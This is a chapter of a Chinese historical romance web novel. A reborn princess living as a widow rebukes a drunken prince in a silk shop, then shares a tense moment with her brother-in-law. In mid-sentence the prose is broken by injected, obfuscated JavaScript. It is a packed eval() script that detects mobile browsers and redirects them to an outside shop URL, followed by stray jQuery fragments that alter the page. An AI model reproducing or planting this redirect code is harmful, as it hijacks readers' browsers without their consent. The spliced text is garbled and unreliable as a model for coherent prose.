次日清晨,国公府东院的厢房里,李妙仪缓缓睁开眼。
她盯着帐顶怔了半晌,昨夜的记忆如同被打碎的琉璃盏,碎了满地,当她凝神去抓,那些碎片又倏忽散去,只剩额角隐约的闷痛。
她揉着太阳穴坐起身,唤来青鸾梳洗。铜镜中的女子面容清丽,眉眼间倦意如挥之不去,崔令言这身子实在娇弱,昨夜不过淋了些雪,今晨喉间便已隐现干涩。
“少夫人昨夜睡得可好?”青鸾一边为她挽起青丝,一边柔声问道。
“尚可。”李妙仪含糊应道,指尖无意识地抚过唇角。
青鸾将发髻层层盘旋固定,梳成精巧的交心髻,轻声道:“您自受伤后,难得睡得这般沉,奴婢便没敢唤您起身守岁。”
“无妨。”她淡淡一笑。
守岁与否,于如今的她而言并无分别,不过是又一个独自捱过的长夜。
梳洗罢,用了半碗清粥,管家便送来一摞账册,又禀报年关各院需添置新衣之事。李妙仪略一思忖,决定亲自去盛京最负盛名的云锦阁挑选布料。
云锦阁坐落在东市最繁华的地段,即便天寒,阁内依旧暖香馥郁,衣香鬓影往来不绝。
李妙仪戴着帷帽,在青鸾搀扶下走进店内。一股暖意混合着上等熏香扑面而来,她摘下帷帽交给青鸾,露出一张清雅脱俗的脸。
店内顿时安静了一瞬,几道目光若有若无地扫过来。她仿若未觉,径自走向陈列布料的区域。
云锦阁不愧是盛京第一,各色绫罗绸缎琳琅满目,从江南的软烟罗到蜀中的织锦,从素雅的月白到富丽的朱红,应有尽有。
指尖抚过一匹雨过天青色的云锦,触手温凉柔滑,上头的暗纹在光线下若隐若现,宛如烟雨朦胧中的远山。
“少夫人好眼力。”掌柜殷勤上前,“这是江南今年新到的料子,统共就三匹,一匹进了宫,一匹被丞相府订下,只剩这一匹了。”
“包起来罢。”她目光流转,落在一旁玄色暗金纹的锦缎上。
这颜色让她莫名想起郑淮序,他似乎总穿玄色,衬得人如冷玉琢成。她犹豫片刻,还是移开了视线。
又挑了几匹稳重的厚缎与时新花样,正要结算,忽闻身后一阵喧哗。
“让开!齐王殿下驾到!”一道尖细的嗓音划破宁静。
李妙仪的心猛地一沉,缓缓转过身。
只见七八个华服青年涌入店内,个个酒气熏天,步履虚浮。被簇拥在中央的男子约莫二十五六,绛紫蟒袍,玉带銮佩,面容俊雅却眼带浮肿,正是齐王李琮,她前世最不齿的堂兄。
李妙仪垂下眼帘,掩住眸中翻涌的嫌恶。
“哟,这不是国公府的少夫人吗?真是巧了!”一个油头粉面的跟班率先嚷道,语气轻佻。
齐王眯着醉眼打量她,目光如黏腻的蛛网在她脸上逡巡,半晌扯出意味不明的笑:“原是崔小姐……哦不,如今该称郑少夫人了。可惜,当真可惜。”
他这话说得含糊,但其中的轻慢,却让李妙仪心头火起。他是在惋惜郑淮舟战死沙场?还是在讥讽她年轻守寡?
店内鸦雀无声,所有视线聚拢而来。青鸾气得脸色发白,上前半步挡在李妙仪身前。两名护卫也握紧了刀柄,只等主子一声令下。
李妙仪轻轻将青鸾拉回身后,向前一步,福身行礼:“见过齐王殿下。”
“免礼。”齐王随意摆手,又逼近两步,“少夫人这是在操办年货?郑国公府如今靠你一个妇道人家支撑,着实辛苦。郑淮序那小子也是不懂事,怎忍心让这样的美人抛头露面?”
言语已染上狎昵,青鸾在一旁浑身微颤。
李妙仪抬起眼,平静地看着他:“劳殿下挂心。亡夫为国捐躯,马革裹尸,乃武将殊荣,阖府上下与有荣焉。至于府中事务,上有国公爷定夺,下有管家分忧,我不过尽本分,不敢言苦。”
不卑不亢,字字如锥,甚至暗指齐王醉生梦死,毫无建树。
齐王笑意僵在嘴角。他身边的跟班见状,急于讨好,凑上前嬉笑道:“少夫人此言差矣,郑将军自然是英雄,可您这般年轻貌美,独守空闺岂非暴殄天物?我们王爷最是怜香惜玉,您若有难处……”
“放肆!”李妙仪倏然抬眼,直刺那人,“国公府之事,何时轮到你这等腌臜之徒置喙?!”
那跟班被这骤然而起的气势慑得一退。
“齐王殿下御下不严,纵容此等狂徒当众羞辱功臣遗孀,”她步步向前,字字清晰,“莫非是觉得我郑家无人,还是觉得我朝法度纲常,形同虚设?”
一连串的质问,掷地有声。满阁宾客屏息,无数目光聚于她挺直的脊背。
齐王的脸色彻底沉了下来,他死死盯着李妙仪,眼中惊疑不定。这眼神,这气势,竟让他莫名感到一丝熟悉。
他想起那个总爱与他作对的堂妹,平日里巧笑倩兮,一旦动怒,便是这般锋芒毕露,让人不敢直视。
可安阳已经死了。
“下人无状,本王回去自会管教。”他压下心头荒谬的悚然,阴鸷爬满眼角,“郑少夫人,好自为之。”
言罢拂袖转身,领着一众噤若寒蝉的跟班狼狈离去。
阁内静得落针可闻,掌柜躬身几乎触地,恭敬将包好的布料奉上。李妙仪不再多言,戴上帷帽,在无数复杂目光中从容离去。
马车缓缓驶离东市,车厢内,李妙仪闭目养神,脑海中却不断回放着方才的一幕。
她想起前世,李琮曾试图强纳一名六品文官的女儿为妾,那姑娘以死相抗,撞柱而亡。她得知后勃然大怒,连夜入宫,跪在父皇面前泣血陈词,逼着父皇下旨申饬李琮,罚俸一年,闭门思过三个月。
那时她以为,自己至少能护住一些人。
可后来呢?她连自己都没能护住。
“少夫人,您方才真厉害。”青鸾小声打破沉默,眼里满是崇拜,“那些话,奴婢听着都解气。”
李妙仪睁开眼,看着这个忠心耿耿的丫鬟,心中泛起一丝暖意,却也涌上更多忧虑。
“逞一时口舌之快罢了。”她轻声
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176653|196659||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
道,“齐王此人,睚眦必报,今日我当众折了他的面子,他绝不会善罢甘休。”
青鸾脸色一白:“那怎么办?”
“兵来将挡,水来土掩。”李妙仪望向窗外飞逝的街景,“郑国公府也不是任人揉捏的软柿子。”
话虽如此,她心中却无十足把握。郑家初逢大难,二老身子虽有好转,但早已不问朝事;郑淮序毕竟年轻,根基尚浅。而齐王是皇室宗亲,背后盘根错节的关系网不容小觑。
更重要的是,她如今再也没有安阳的权势,能与之一搏。
“回府后,今日之事不必声张。”她吩咐青鸾,“但若有人问起,也不必隐瞒,照实说便是。”
“是。”
之后几日,风平浪静。
这日清晨,她去给婆母请安,穿过回廊时,与刚从外面回来的郑淮序迎面遇上。
他披着一身墨色大氅,肩头落着未化的霜雪,寒冽气息扑面而来。见到她,脚步顿住。
“母亲今日可好?”他问着,目光却未曾从她脸上移开,仿佛在审视,又似在确认什么。
李妙仪迎着他的视线,轻声答:“用了半碗薏米粥,精神尚佳。”
郑淮序点了点头,忽然道:“云锦阁的事,我知道了。”
李妙仪心口一紧,羽睫低垂,屏息等待预料中的责问,责怪她招惹齐王,为府中树敌。
却听他下一句道:“应对得不错,郑家的人,不必忍这等污糟气。”
她蓦然抬眼,猝不及防地撞入他深邃的眸中。那里面没有她以为会看到的审视或不满,只有一片沉静的、近乎包容的深海。
他没怪她惹祸。
反而……在护着她。
酸涩的热意毫无征兆冲上眼眶,她慌忙垂首,喉间微哽,半晌才低低应了一声:“嗯。”
郑淮序凝视她发顶轻颤的步摇,忽然上前一步。
清冽的雪松气倏然靠近,将她周身笼住。李妙仪呼吸一滞,怔怔看着他抬起手,指尖在她鬓边轻轻一拂,拂落一缕不知何时沾上的飞絮。
她定住了身,看着他收回手,指尖捻着那缕白絮,眸光深晦难明,仿佛那轻飘飘的东西有千钧之重。
“你没有什么想同我说的么?”
元旦之后,他等的这几日,那夜的失控,在他心中反复灼烧,可她竟真将那个吻忘得一干二净。
李妙仪被他问得茫然,拧眉思索片刻,困惑地摇了摇头,诚实地回答:“并无。”
郑淮序脸色一变,唇角似是抿紧了一瞬。他不再多言,只深深看她一眼,转身离去,很快消失在回廊尽头。
李妙仪怔怔望着他消失的方向,半晌没有动弹。寒风吹起她鬓边碎发,方才被他指尖拂过的地方,竟隐隐发烫。
“少夫人,风大,当心着凉。”青鸾的声音从身后传来,为她披上一件斗篷。
她回过神来,拢紧衣襟,望向灰蒙蒙的天空。
细雪不知何时悄然飘落,一片冰凉落在她唇上,倏忽融化,留下一丝清冷的湿润。